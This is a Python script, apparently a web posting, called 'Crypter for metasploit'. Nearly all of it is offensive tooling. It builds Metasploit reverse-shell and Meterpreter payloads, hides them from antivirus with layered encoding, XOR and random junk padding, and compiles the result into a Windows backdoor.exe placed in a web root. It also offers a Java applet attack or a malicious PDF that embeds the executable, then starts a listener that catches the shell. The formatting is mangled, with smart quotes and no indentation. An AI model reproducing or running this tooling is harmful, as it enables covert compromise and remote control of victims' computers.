Crypter for metasploit

#!/usr/bin/python

#coding: utf-8

from struct import *

import os

import commands

import subprocess

import random 

os.system(“clear”)

os.chdir(“/opt/metasploit/msf3”)

print “**************************************”

print ”       __      __   __    ___    __”

print ”      / /     / /  /  \  / _ \  / /”

print ”     / /     / /__/ /\ \/ / \ \/ / “

print ”    / /     / ___  /  \  /   \  /  ”

print ”   / /_____/ /  / /   / /   / /\ \ “

print ”  /_________/  /_/   /_/   /_/  \_\”

print “”

print “**************************************”

print ”          Crypter for metasploit    ”

print “**************************************”

host = raw_input(“lhost (e for external ip) ?”).strip()

if host == ‘e’:

os.system(“curl ifconfig.me » ip.txt”)

lhost = commands.getoutput(‘cat ip.txt’)

os.system(“rm ip.txt”)

os.system(“clear”)

print “[*] lhost: “, lhost

else:

lhost = host

print “[*] lhost: “, lhost

lport = raw_input(“lport ?”).strip()

print “[*] lport: “, lport

print “**************************************”

print “1) windows/shell_reverse_tcp”

print “2) windows/shell/reverse_tcp”

print “3) windows/shell/reverse_tcp_dns”

print “4) windows/shell/reverse_http”

print “5) windows/meterpreter/reverse_tcp”

print “6) windows/meterpreter/reverse_tcp_dns”

print “7) windows/meterpreter/reverse_http”

print “**************************************”

payload = raw_input(“Select a payload (1-8):”).strip()

payload_raw = “temp.raw”

out = “temp.c”

structure = “structure.c”

key = random.randint(0,255)

print “[*] Generating random junk…”

print “[*] Randomizing file size…”

randomSize = random.randint(20480,25600)

junkA = “”

junkB = “” 

junkA += “"”

for i in xrange(1,randomSize):

junkA += chr(random.randint(65,90)) 

junkA +=  ”"”

junkB += “"”

for i in xrange(0,randomSize):

junkB += chr(random.randint(65,90)) 

junkB +=  ”"”

print “[*] Generating metasploit shellcode…”

if payload == “1”:

os.system(“./msfpayload windows/shell_reverse_tcp LHOST=%s LPORT=%s R | ./msfencode -t raw -e x86/shikata_ga_nai -c 8 | ./msfencode -t raw -e x86/alpha_upper -c 2 | ./msfencode -t raw -o %s -e x86/countdown -c 4” % (lhost,lport,payload_raw))

elif payload == “2”:

os.system(“./msfpayload windows/shell/reverse_tcp LHOST=%s LPORT=%s R | ./msfencode -t raw -e x86/shikata_ga_nai -c 8 | ./msfencode -t raw -e x86/alpha_upper -c 2 | ./msfencode -t raw -o %s -e x86/countdown -c 4” % (lhost,lport,payload_raw))

elif payload == “3”:

os.system(“./msfpayload windows/shell/reverse_tcp_dns LHOST=%s LPORT=%s R | ./msfencode -t raw -e x86/shikata_ga_nai -c 8 | ./msfencode -t raw -e x86/alpha_upper -c 2 | ./msfencode -t raw -o %s -e x86/countdown -c 4” % (lhost,lport,payload_raw))

elif payload == “4”:

os.system(“./msfpayload windows/shell/reverse_http LHOST=%s LPORT=%s R | ./msfencode -t raw -e x86/shikata_ga_nai -c 8 | ./msfencode -t raw -e x86/alpha_upper -c 2 | ./msfencode -t raw -o %s -e x86/countdown -c 4” % (lhost,lport,payload_raw))

elif payload == “5”:

os.system(“./msfpayload windows/meterpreter/reverse_tcp LHOST=%s LPORT=%s R | ./msfencode -t raw -e x86/shikata_ga_nai -c 8 | ./msfencode -t raw -e x86/alpha_upper -c 2 | ./msfencode -t raw -o %s -e x86/countdown -c 4” % (lhost,lport,payload_raw))

elif payload == “6”:

os.system(“./msfpayload windows/meterpreter/reverse_tcp_dns LHOST=%s LPORT=%s R | ./msfencode -t raw -e x86/shikata_ga_nai -c 8 | ./msfencode -t raw -e x86/alpha_upper -c 2 | ./msfencode -t raw -o %s -e x86/countdown -c 4” % (lhost,lport,payload_raw))

elif payload == “7”:

os.system(“./msfpayload windows/meterpreter/reverse_http LHOST=%s LPORT=%s R | ./msfencode -t raw -e x86/shikata_ga_nai -c 8 | ./msfencode -t raw -e x86/alpha_upper -c 2 | ./msfencode -t raw -o %s -e x86/countdown -c 4” % (lhost,lport,payload_raw))

a = open(payload_raw,”rb”)

b = open(out,”w”)

payload_raw = a.read()

tempArray = []

outArray = []

x = 0

print “[*] Encoding with XOR key: “, hex(key) 

print “[*] Obfuscating shellcode…”

length = int(len(payload_raw)*2)

for i in xrange(0,length):

if i % 2 == 0:

tempArray.append(unpack(“B”,payload_raw[x])[0]^key)

x += 1

else:

randomByte = random.randint(65,90)

tempArray.append(randomByte)

for i in range(0,len(tempArray)):

tempArray[i]=”\x%x”%tempArray[i]

for i in range(0,len(tempArray),15):

outArray.append(‘\n”’+”“.join(tempArray[i:i+15])+”"”)

outArray = “”.join(outArray)

devide = “i % 2;”

open_structure = open(structure).read()

code = open_structure % (junkA,outArray,junkB,key,length,devide)

b.write(code)

b.flush()

print “[*] Compiling trojan horse…”

os.system(“i586-mingw32msvc-gcc -mwindows temp.c”)

print “[*] Stripping out the debugging symbols…”

os.system(“strip —strip-debug a.exe”)

print “[*] Moving trojan horse to web root…”

os.system(“mv a.exe /var/www/backdoor.exe”)

print “**************************************”

print “1) apache server”

print “2) java applet attack”

print “3) create evil PDF”

print “**************************************”

attack = raw_input(“Select an attack (1-n):”).strip()

if attack == “1”:

print “[*] Starting apache…”

os.system(‘sh -c “service apache2 start; sleep 4”’)

if attack == “2”:

subprocess.Popen(args=[“gnome-terminal”, “—command=sh javaAttack.sh”]).pid

if attack == “3”:

original = raw_input(“path to original pdf: “).strip()

print “[*] Creating evil PDF…”

os.system(“./msfcli windows/fileformat/adobe_pdf_embedded_exe EXE::Custom=/var/www/backdoor.exe FILENAME=backdoor.pdf INFILENAME=%s E” % (original))

os.system(“mv /root/.msf4/local/backdoor.pdf /var/www”)

print “[*] moving backdoor.pdf to webroot”

print “[*] lhost: “, lhost

print “[*] lport: “, lport

if payload == “1”:

print “[*] Starting the netcat listener…”

os.system(“nc -lvp %s” % (lport))

elif payload == “2”:

print “[*] Starting the multi handler…”

os.system(“./msfcli multi/handler PAYLOAD=windows/shell/reverse_tcp LHOST=%s LPORT=%s E” % (lhost, lport))

elif payload == “3”:

print “[*] Starting the multi handler…”

os.system(“./msfcli multi/handler PAYLOAD=windows/shell/reverse_tcp_dns LHOST=%s LPORT=%s E” % (lhost, lport))

elif payload == “4”:

print “[*] Starting the multi handler…”

os.system(“./msfcli multi/handler PAYLOAD=windows/shell/reverse_http LHOST=%s LPORT=%s E” % (lhost, lport))

elif payload == “5”:

print “[*] Starting the multi handler…”

os.system(“./msfcli multi/handler PAYLOAD=windows/meterpreter/reverse_tcp LHOST=%s LPORT=%s E” % (lhost, lport))

elif payload == “6”:

print “[*] Starting the multi handler…”

os.system(“./msfcli multi/handler PAYLOAD=windows/meterpreter/reverse_tcp_dns LHOST=%s LPORT=%s E” % (lhost, lport))

elif payload == “7”:

print “[*] Starting the multi handler…”

os.system(“./msfcli multi/handler PAYLOAD=windows/meterpreter/reverse_http LHOST=%s LPORT=%s E” % (lhost, lport))

print “[*] Cleaning up…”

os.system(“rm temp.c”)

os.system(“rm temp.raw”)

print “[*] Done !”